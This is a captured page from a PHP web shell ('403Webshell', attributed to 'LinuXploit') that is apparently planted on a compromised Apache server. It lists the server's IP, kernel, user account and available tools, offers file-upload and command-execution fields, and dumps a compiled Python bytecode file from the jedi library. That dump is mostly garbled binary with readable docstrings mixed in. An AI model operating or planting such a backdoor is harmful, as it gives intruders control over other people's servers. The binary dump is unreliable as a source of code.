403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/inference/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/inference/__pycache__/__init__.cpython-311.pyc
�

p�{c� ����dZddlZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZdd	lmZdd
l
mZddlmZmZmZddlmZmZdd
lmZmZmZddlmZddlmZGd�d��ZdS)a�

Type inference of Python code in |jedi| is based on three assumptions:

* The code uses as least side effects as possible. Jedi understands certain
  list/tuple/set modifications, but there's no guarantee that Jedi detects
  everything (list.append in different modules for example).
* No magic is being used:

  - metaclasses
  - ``setattr()`` / ``__import__()``
  - writing to ``globals()``, ``locals()``, ``object.__dict__``
* The programmer is not a total dick, e.g. like `this
  <https://github.com/davidhalter/jedi/issues/24>`_ :-)

The actual algorithm is based on a principle I call lazy type inference.  That
said, the typical entry point for static analysis is calling
``infer_expr_stmt``. There's separate logic for autocompletion in the API, the
inference_state is all about inferring an expression.

TODO this paragraph is not what jedi does anymore, it's similar, but not the
same.

Now you need to understand what follows after ``infer_expr_stmt``. Let's
make an example::

    import datetime
    datetime.date.toda# <-- cursor here

First of all, this module doesn't care about completion. It really just cares
about ``datetime.date``. At the end of the procedure ``infer_expr_stmt`` will
return the ``date`` class.

To *visualize* this (simplified):

- ``InferenceState.infer_expr_stmt`` doesn't do much, because there's no assignment.
- ``Context.infer_node`` cares for resolving the dotted path
- ``InferenceState.find_types`` searches for global definitions of datetime, which
  it finds in the definition of an import, by scanning the syntax tree.
- Using the import logic, the datetime module is found.
- Now ``find_types`` is called again by ``infer_node`` to find ``date``
  inside the datetime module.

Now what would happen if we wanted ``datetime.date.foo.bar``? Two more
calls to ``find_types``. However the second call would be ignored, because the
first one would return nothing (there's no foo attribute in ``date``).

What if the import would contain another ``ExprStmt`` like this::

    from foo import bar
    Date = bar.baz

Well... You get it. Just another ``infer_expr_stmt`` recursion. It's really
easy. Python can obviously get way more complicated then this. To understand
tuple assignments, list comprehensions and everything else, a lot more code had
to be written.

Jedi has been tested very well, so you can just start modifying code. It's best
to write your own test first for your "new" feature. Don't be scared of
breaking stuff. As long as the tests pass, you're most likely to be fine.

I need to mention now that lazy type inference is really good because it
only *inferes* what needs to be *inferred*. All the statements and modules
that are not used are just being ignored.
�N)�FileIO)�debug)�settings)�imports)�	recursion)�inference_state_function_cache)�helpers)�TreeNameDefinition)�ContextualizedNode�ValueSet�iterate_values)�
ClassValue�
FunctionValue)�infer_expr_stmt�check_tuple_assignments�tree_name_to_values)�%follow_error_node_imports_if_possible)�plugin_managerc���eZdZdd�Zdd�Zeej��d�����Ze	e
��d�����Ze	e
��d�����Zd�Z
d	�Zd
�Z		dd�Zd
�ZdS)�InferenceStateNc���|�|���}||_||_|�|��|_|���|_tjd���|_	i|_
tj��|_
i|_i|_i|_i|_g|_d|_d|_||_i|_d|_d|_|���dS)Nz3.10)�versionrFT)�get_environment�environment�script_path�get_inference_state_subprocess�compiled_subprocess�get_grammar�grammar�parso�load_grammar�latest_grammar�
memoize_cacher�ModuleCache�module_cache�stub_module_cache�compiled_cache�inferred_element_counts�mixed_cache�analysis�dynamic_params_depth�is_analysis�project�access_cache�allow_descriptor_getattr�flow_analysis_enabled�reset_recursion_limitations)�selfr-rrs    �9/usr/lib/python3/dist-packages/jedi/inference/__init__.py�__init__zInferenceState.__init__Us�����!�1�1�3�3�K�&���&���#.�#M�#M�d�#S�#S�� �"�.�.�0�0���#�0��@�@�@������#�/�1�1���!#��� ���')��$������
�$%��!� ���������(-��%�%)��"��(�(�*�*�*�*�*�Tc�2�tj||||���S)N)�prefer_stubs)r�import_module_by_names)r2�import_names�sys_pathr7s    r3�
import_modulezInferenceState.import_modulens)���-��,��|�E�E�E�	Er5c���tjd||��tj��5|�|���}ddd��n#1swxYwYtjd||��|S)Nzexecute: %s %s)�	argumentszexecute result: %s in %s)r�dbg�increase_indent_cm�
py__call__)�valuer=�	value_sets   r3�executezInferenceState.executers���	�	�"�E�9�5�5�5�
�
%�
'�
'�	>�	>��(�(�9�(�=�=�I�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>�
�	�,�i��?�?�?��s�A
�
A�Ac�>�d}|�|fd���\}|S)N�builtins�)r:�r;)r2�module_name�builtins_modules   r3rIzInferenceState.builtins_module|s,��!���-�-�{�n�r�-�J�J����r5c�4�|�d��\}|S)N)�typingrG)r2�
typing_modules  r3rLzInferenceState.typing_module�s���+�+�K�8�8��
��r5c�h�tj��|_tj|��|_dS)N)r�RecursionDetector�recursion_detector�ExecutionRecursionDetector�execution_recursion_detector)r2s r3r1z*InferenceState.reset_recursion_limitations�s-��"+�"=�"?�"?���,5�,P�QU�,V�,V��)�)�)r5c�(�|jj|fi|��S)zConvenience function)r-�
_get_sys_path)r2�kwargss  r3�get_sys_pathzInferenceState.get_sys_path�s��)�t�|�)�$�9�9�&�9�9�9r5c�L�|�d���}|��c|j}|dk}|s|dkrC|rt|||j��}nt	j||j��}t
|g��S|dkr!|jjdv}|rt|||��S|dkrk|�|j	d��}t||j	d��}	t||	��}
t||��}t||
��S|d	vrtj||��S|d
krt!|||��S|dkr!|�|j|j���S|d
kr|�|��Snt)||��}|�|St+j||��S)NT)�import_name_always�classdef�funcdef�	expr_stmt)�power�trailer�for_stmt�)�import_from�import_name�	with_stmt�param)�position�namedexpr_test)�get_definition�typer�parentr�from_contextrr�
infer_node�childrenrr
r
rr�infer_importr�py__getattribute__rA�end_posrr	�infer_call_of_leaf)
r2�context�name�def_�type_�is_classdef�c�is_simple_name�container_types�cn�	for_types�n�results
             r3�inferzInferenceState.infer�s����"�"�d�"�;�;�����I�E��:�-�K��
%�e�y�0�0��I�"�4��$�+�>�>�A�A�%�2�7�D�K�H�H�A����}�}�$���#�#�!%��!1�9M�!M��!�@�*�7�D�$�?�?�?��
�"�"�")�"4�"4�T�]�1�5E�"F�"F��'����q�1A�B�B��*�?�B�?�?�	�&�w��5�5��.�q�)�<�<�<��6�6�6��+�G�T�:�:�:���#�#�*�4��$�?�?�?��'�!�!��1�1�$�*�t�|�1�T�T�T��*�*�*��)�)�$�/�/�/�+�;�7�D�I�I�F��!��
��)�'�4�8�8�8r5Fc�&�|�%|�t|��}|���}tj|dd���}t	|��t
jkr|dt
j�}|r|jn|j}|j	d|||d�|��|fS)Nzutf-8�replace)�encoding�errors)�code�path�file_iorF)
r�readr �python_bytes_to_unicode�lenr�_cropped_file_sizer"r�parse)r2r�r��use_latest_grammarr�rTrs       r3�parse_and_get_codez!InferenceState.parse_and_get_code�s����<��� ��,�,���<�<�>�>�D��,�T�G�I�V�V�V���t�9�9�x�2�2�2��4��4�4�5�D�);�M�$�%�%�����w�}�M�$�T�7�M�M�f�M�M�t�S�Sr5c�(�|j|i|��dS)Nr)r�)r2�argsrTs   r3r�zInferenceState.parse�s��&�t�&��7��7�7��:�:r5)NN)NT)NNFN)�__name__�
__module__�__qualname__r4r;�staticmethodr�decoraterC�propertyrrIrLr1rUr{r�r�rFr5r3rrTs/������+�+�+�+�2E�E�E�E���^���������\���#�#�%�%���&�%��X��
�#�#�%�%���&�%��X��W�W�W�:�:�:�#9�#9�#9�J26�=A�
T�
T�
T�
T�;�;�;�;�;r5r)�__doc__r �jedi.file_ior�jedirr�jedi.inferencerr�jedi.inference.cacherr	�jedi.inference.namesr
�jedi.inference.base_valuerrr
�jedi.inference.valuerr�jedi.inference.syntax_treerrr�jedi.inference.importsr�jedi.pluginsrrrFr5r3�<module>r�s���?�?�@
����������������������"�"�"�"�"�"�$�$�$�$�$�$�?�?�?�?�?�?�"�"�"�"�"�"�3�3�3�3�3�3�����������:�:�:�:�:�:�:�:�1�1�1�1�1�1�1�1�1�1�H�H�H�H�H�H�'�'�'�'�'�'�r;�r;�r;�r;�r;�r;�r;�r;�r;�r;r5

Youez - 2016 - github.com/yon3zu
LinuXploit